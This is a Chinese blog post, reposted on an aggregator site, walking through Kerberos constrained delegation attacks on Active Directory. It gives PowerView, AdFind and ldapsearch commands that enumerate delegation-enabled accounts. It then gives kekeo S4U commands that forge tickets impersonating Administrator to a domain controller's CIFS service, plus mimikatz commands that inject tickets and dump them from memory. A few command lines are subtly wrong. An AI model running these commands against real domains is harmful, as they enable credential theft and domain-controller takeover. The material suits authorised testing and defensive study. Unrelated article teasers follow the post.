Kerberos 域委派攻击之约束性委派

news2024/10/7 6:44:56

CSDN自动博客文章迁移

由于非约束性委派的不安全性,微软在 Windows Server 2003 中引入了约束委派。区别在于不会直接把 TGT 给服务,所发送的认证信息中包含了允许访问的服务,即不允许服务代表用户去访问其他服务。同时为了在 Kerberos 协议层面对约束性委派的支持, 微软扩展了两个子协议:

  • S4U2Self Service for Administrator to Self

  • S4U2Proxy Service for Administrator to Proxy

S4U2Self 可以代表自身请求针对其自身的 Kerberos 服务票据 STS4U2Proxy 可以用上一步获得的可转发 ST 服务票据以用户的名义请求针对其他指定服务的 ST 服务票据。

对于约束性委派,服务账号只能获取该用户的 ST 服务票据,从而只能模拟该用户访问特定的服务。配置了约束性委派账户的 msDS- AllowedToDelegateTo 属性会指定对哪个 SPN 进行委派。约束性委派的设置需要 SeEnableDelegationPrivilege 权限,该特权通常只有域管理员才有。

在域控上配置约束性委派

约束性委派有两种,然后添加可以由此账户提供委派凭证的服务即可:

  • 仅使用 Kerberos(K)

  • 使用任何身份验证协议 (N)下面设置了服务用户 test 的约束性委派,协议为域控 dccifs 协议

仅使用 Kerberos(K)

仅用 Kerberos 协议进行身份验证,不支持协议转换。置了仅使用 Kerberos(K) 约束性委派的机器账号和服务账号的 userAccountControl 属性与正常账号一样,但是其 msDS- AllowedToDelegateTo 属性会有允许被委派的服务的 SPN。

使用任何身份验证协议 (N)

支持协议的转换。

  • 配置了使用任何身份验证协议 (N) 约束性委派的机器账号的userAccountControl属性有个 FLAG 位 WORKSTATION_TRUST_ACCOUNT | TRUETED_TO_AUTHENTICATE_FOR_DELEGATION,其对应的数是0x1001000=16781312。并且其msDS-AllowedToDelegateTo属性会有允许被委派的服务的 SPN。

  • 配置了使用任何身份验证协议 (N) 约束性委派的服务账号的userAccountControl属性有个 FLAG 位NORMAL_ACCOUNT | TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION,其对应的数是0x1000200=16777728。并且其msDS-AllowedToDelegateTo属性会有允许被委派的服务的 SPN。

查询约束性委派的计算机或服务账号

PowerView

PowerView 有几个不同的版本,这里用的是 PowerShellMafia 下的,脚本地址:https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1

# 导入 PowerView 脚本

import-module .\PowerView.ps1

# 查询域内约束性委派的计算机

Get-DomainComputer -TrustedToAuth -Domain attack.cn -Properties distinguishedname,userAccountControl,msds-allowedtodelegateto | fl

# 查询域内非约束性委派的服务账号

Get-DomainAdministrator -TrustedToAuth -Domain attack.cn -Properties distinguishedname,userAccountControl,msds-allowedtodelegateto | fl

# 获取设置了约束性委派的机器账号

Get-DomainUser -TrustedToAuth -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto| fl

Get-DomainComputer -TrustedToAuth -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|ft -Wrap -AutoSize

Adfind

下载地址:https://oss.attack.info/file/AdFind.exe

该工具不需要账号密码即可查询,其他支持 ldap 协议的工具也可以实现查询。

# 查询域内约束性委派的计算机
AdFind.exe -b "DC=attack,DC=cn" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" -dn

# 查询非束性委派的服务账号
AdFind.exe -b "DC=attack,DC=cn" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" -dn

ldapsearch

kali 内置,其他系统安装

# Ubuntu 用户安装

sudo apt install ldap-utils

# mac 用户安装

brew install ldapvi

该工具需要域内任意用户的账号密码,可在域外查询。其他支持 ldap 协议的工具也可以实现查询。

# 查询域内约束性委派的计算机

ldapsearch -x -H ldap://192.168.11.11:389 -D "test@attack.cn" -w "P@ssw0rd" -b dc=attack,DC=cn "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" |grep -iE "distinguishedName|allowedtodelegateto"

# 查询非束性委派的服务账号

ldapsearch -x -H ldap://192.168.11.11:389 -D "test@attack.cn" -w "P@ssw0rd" -b dc=attack,DC=cn "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" |grep -iE "distinguishedName|allowedtodelegateto"

约束性委派攻击

服务用户只能获取某个用户(或主机)的服务的 ST,所以只能模拟用户访问特定的服务,是无法获取用户的 TGT,如果我们能获取到开启了约束委派的服务用户的明文密码或者 NTLM Hash ,我们就可以伪造 S4U 请求,进而伪装成服务用户以任意账户的权限申请访问指定服务的 ST。

已经知道服务用户明文的条件下,我们可以用kekeo请求该用户的 TGT

# kekeo
tgt::ask /user:test /domain:attack.cn /password:P@ssw0rd

# 得到服务用户 test 的 TGT: TGT_test@ATTACK.CN_krbtgt~attack.cn@ATTACK.CN.kirbi

使用这张 TGT 通过伪造 S4U 请求以 administrator 用户身份请求访问 dc CIFS 的 ST

# kekeo
tgs::s4u /tgt:TGT_test@ATTACK.CN_krbtgt~attack.cn@ATTACK.CN.kirbi /user:Administrator@attack.cn /service:cifs/dc.attack.cn

# S4U2self 的 ST1: TGS_Administrator@attack.cn@ATTACK.CN_test@ATTACK.CN.kirbi
# S4U2proxy 的 ST2: TGS_Administrator@attack.cn@ATTACK.CN_cifs~dc.attack.cn@ATTACK.CN.kirbi

S4U2Self 获取到的ST1S4U2Proxy 获取到的域控 dc CIFS 服务的 ST2 会保存在当前目录下,然后用 mimikatz 将 ST2 导入当前会话,即可成功访问域控 dc

# mimikatz
kerberos::ptt TGS_Administrator@attack.cn@ATTACK.CN_cifs~dc.attack.cn@ATTACK.CN.kirbi

如果不知道服务用户明文的情况下,kekeo 同样也支持使用 NTLM Hash,在请求服务用户的 TGT 那步直接把 /password 改成 /NTLM 即可

# kekeo

tgt::ask /Administrator:test /domain:attack.cn /NTLM:e19ccf75ee54e06b06a5907af13cef42

如果不知道服务用户的明文和 NTLM Hash,但是已有服务用户登陆的主机的本地管理员权限,可以用 mimikatz 直接从内存中把服务用户的 TGT 导出

注意:涉及提权,然后读取,普通与用户没办法调用管理员形式启动cmd读取凭证,当然这种形式在实战中九经常利用到!!!

mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit

引用下zjun师傅的图,因为我的环境崩了

服务用户的 TGT 导出后,就可以通过伪造 S4U 请求以 administrator 用户身份请求访问 dc CIFS 的 ST

# kekeo
tgs::s4u /tgt:[0;8f613]-2-0-40e10000-test@krbtgt-attack.cn.kirbi /Administrator:Administrator@attack.cn /service:cifs/dc.attack.cn

转载请注明:Adminxe's Blog » Kerberos 域委派攻击之约束性委派

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/390809.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

1.数据结构前言

数据结构很重要! 数据结构很重要!!! 数据结构很重要!!!! 前言.思考 1.什么是数据结构 ?(What) 2.为什么要学数据结构 ?? (…

删除链表元素相关的练习

目录 一、移除链表元素 二、删除排序链表中的重复元素 三、删除排序链表中的重复元素 || 四、删除链表的倒数第 N 个结点 一、移除链表元素 给你一个链表的头节点 head 和一个整数 val ,请你删除链表中所有满足 Node.val val 的节点,并返回 新的头…

python字典和集合——笔记

一、介绍 1、泛映射类型 collections.abc模块中有Mapping和MutableMapping这两个抽象基类,它们的作用是为dict和其他类似的类型定义形式接口(在Python 2.6到Python 3.2的版本中,这些类还不属于collections.abc模块,而是隶属于coll…

【震撼发布】《致敬未来的攻城狮计划》| 文末赠书3本

《致敬未来的攻城狮计划》—— 文末有福利 摘要: 一个崭新的计划,寻找那群有志于向嵌入式发展的未来工程师! 文章目录1 活动计划初衷2 活动计划形式3 活动计划收获4 活动计划要求5 活动计划时间6 活动计划致谢7 活动计划特别说明8 温馨提示9 …

Kerberos 域委派攻击之非约束性委派

CSDN文章自动迁移自博客在Windows 2000 Server 首次发布 Active Directory 时,Microsoft 必须提供一种简单的机制来支持用户通过 Kerberos 向 Web Server 进行身份验证并需要代表该用户更新后端数据库服务器上的记录的方案。这通常称为“Kerberos 双跳问题”&#x…

零入门kubernetes网络实战-20->golang编程syscall操作tun设备介绍

《零入门kubernetes网络实战》视频专栏地址 https://www.ixigua.com/7193641905282875942 本篇文章视频地址(稍后上传) 本篇文章主要是使用golang自带的syscall包来创建tun类型的虚拟网络设备。 注意: 目前只能使用syscall包来创建tun类型的虚拟设备。 tun虚拟网…

【RockerMQ】003-Windows 安装 RocketMQ

【RockerMQ】003-Windows 安装 RocketMQ 一、准备工作 1、环境要求 64位JDK 1.8;Maven 3.2.x;64位操作系统系统,本文档在Windows上安装 2、下载解压 下载地址 https://archive.apache.org/dist/rocketmq/5.1.0/ 下载目标 解压 到不含中文路径的目录下 环境变…

Python进阶-----面对对象7.0(细谈__new__方法和__init__方法)

目录 前言: __init__方法 __new__方法(重点!) 1.__new__方法的调用过程 2.重写__new__方法 3.__new__方法不同返回值的情况 3.单例模式 前言: 上一期初步介绍了__new__()方法,但是实际上这个方法还有非常多的内…

操作系统——18.进程互斥的软件实现方法

这篇文章我们来讲一下进程互斥的软件实现方法 目录 1.概述 2.单标志法 3.双标志检查法 4.双标志后检查法 5.Perterson算法 6.小结 1.概述 首先,我们来看一下这节的大体框架 学习提示: 理解各个算法的思想、原理结合上小节学习的“实现互斥的四个逻辑部分”…

通用业务平台设计(五):预警平台建设

前言 在上家公司,随着业务的不断拓展(从支持单个国家单个主体演变成支持多个国家多个主体),对预警的诉求越来越紧迫;如何保障业务的稳定性那?预警可以帮我们提前甄别风险,从而让我们可以在风险来临前将其消灭&#xff…

深度学习笔记:dropout和调优超参数方法

1 Dropout Dropout是一个常用于深度学习的减轻过拟合的方法。该方法在每一轮训练中随机删除部分隐藏层神经元。被删除的神经元不会进行正向或反向信号传递。在测试阶段所有神经元都会传递信号,但对各个神经元的输出要乘以训练时删除比例。 Dropout实现程序&#xf…

毕业设计 基于STM32单片机无线ZIGBEE智能大棚土壤湿度光照检测

基于STM32单片机无线ZIGBEE智能大棚土壤湿度光照检测1、项目简介1.1 系统构成1.2 系统功能2、部分电路设计2.1 STM32F103C8T6核心系统电路设计2.2 光敏采集电路设计2.3 温度采集电路设计3、部分代码展示3.1 读取DS18B20温度值3.2 定时器初始化1、项目简介 选题指导&#xff0c…

Learning Typescript and React in ts

目录 Basic typescript What is typescript? Configuring the TypeScript Compiler Fundamental build in types TypeScript Simple Types TypeScript Special Types Type: unknown Type: never Type: undefined & null Arrays Tuple Enums functions Ob…

Java集合专题

文章目录框架体系CollectionListArrayListLinkedListVectorSetHashSetLinkedHashSetTreeSetMapHashMapHashtableLinkedHashMapTreeMapPropertiesCollections框架体系 1、集合主要分了两组(单列集合,双列集合) 2、Collection接口有两个重要的子…

2.SpringSecurity认证

2.1登录校验流程 2.2认证原理 *源码流程: *自定义认证流程: *校验流程: *认证和校验连接: 2.3思路分析 *登录:

SQLI-Labs通关(2)5-7关

跟之前一样首先传参,然后查看注入点以及闭合 用and 11 and 12都没问题,接下来测试单引号 利用 and 12的时候会报错 利用order by来判断列数 得出一共三列 接下来就是联合查询 但是这个并不会回显 那么就利用盲注或者报错注入 在这里我们利用报错来测…

Vue3的生命周期函数

文章目录🌟 写在前面🌟 生命周期钩子函数🌟 组合式API生命周期🌟 写在最后🌟 写在前面 专栏介绍: 凉哥作为 Vue 的忠实 粉丝输出过大量的 Vue 文章,应粉丝要求开始更新 Vue3 的相关技术文章&am…

OPPO 数据恢复:如何从 OPPO 手机恢复已删除的文件?

Oppo 手机以其精美的外观和拍摄的精美照片和视频而闻名。如果您不小心丢失了 OPPO 手机中珍贵的照片、视频等重要文件,并且为如何找回而苦恼,那么您来对地方了。我们其实有很多OPPO数据恢复方案,现在最重要的是尽快尝试这些方法,防…

Git 相关内容

目录 Git 相关流程和常用命令 Git workflow Git hooks Git 相关流程和常用命令 Git远程操作详解 - 阮一峰的网络日志 Git 使用规范流程 - 阮一峰的网络日志 常用 Git 命令清单 - 阮一峰的网络日志 Git workflow 啥玩意: 就是一个工作流程。可以比喻成一个河流…

用逻辑回归制作评分卡

目录 一.评分卡 二.导库,获取数据 三.探索数据与数据预处理 1.去除重复值 2.填补缺失值 3.描述性统计处理异常值 4.为什么不统一量纲,也不标准化数据分布 5.样本不均衡问题 6.分训练集和测试集 三.分箱 1.分多少个箱子才合适 2.分箱要达成什么…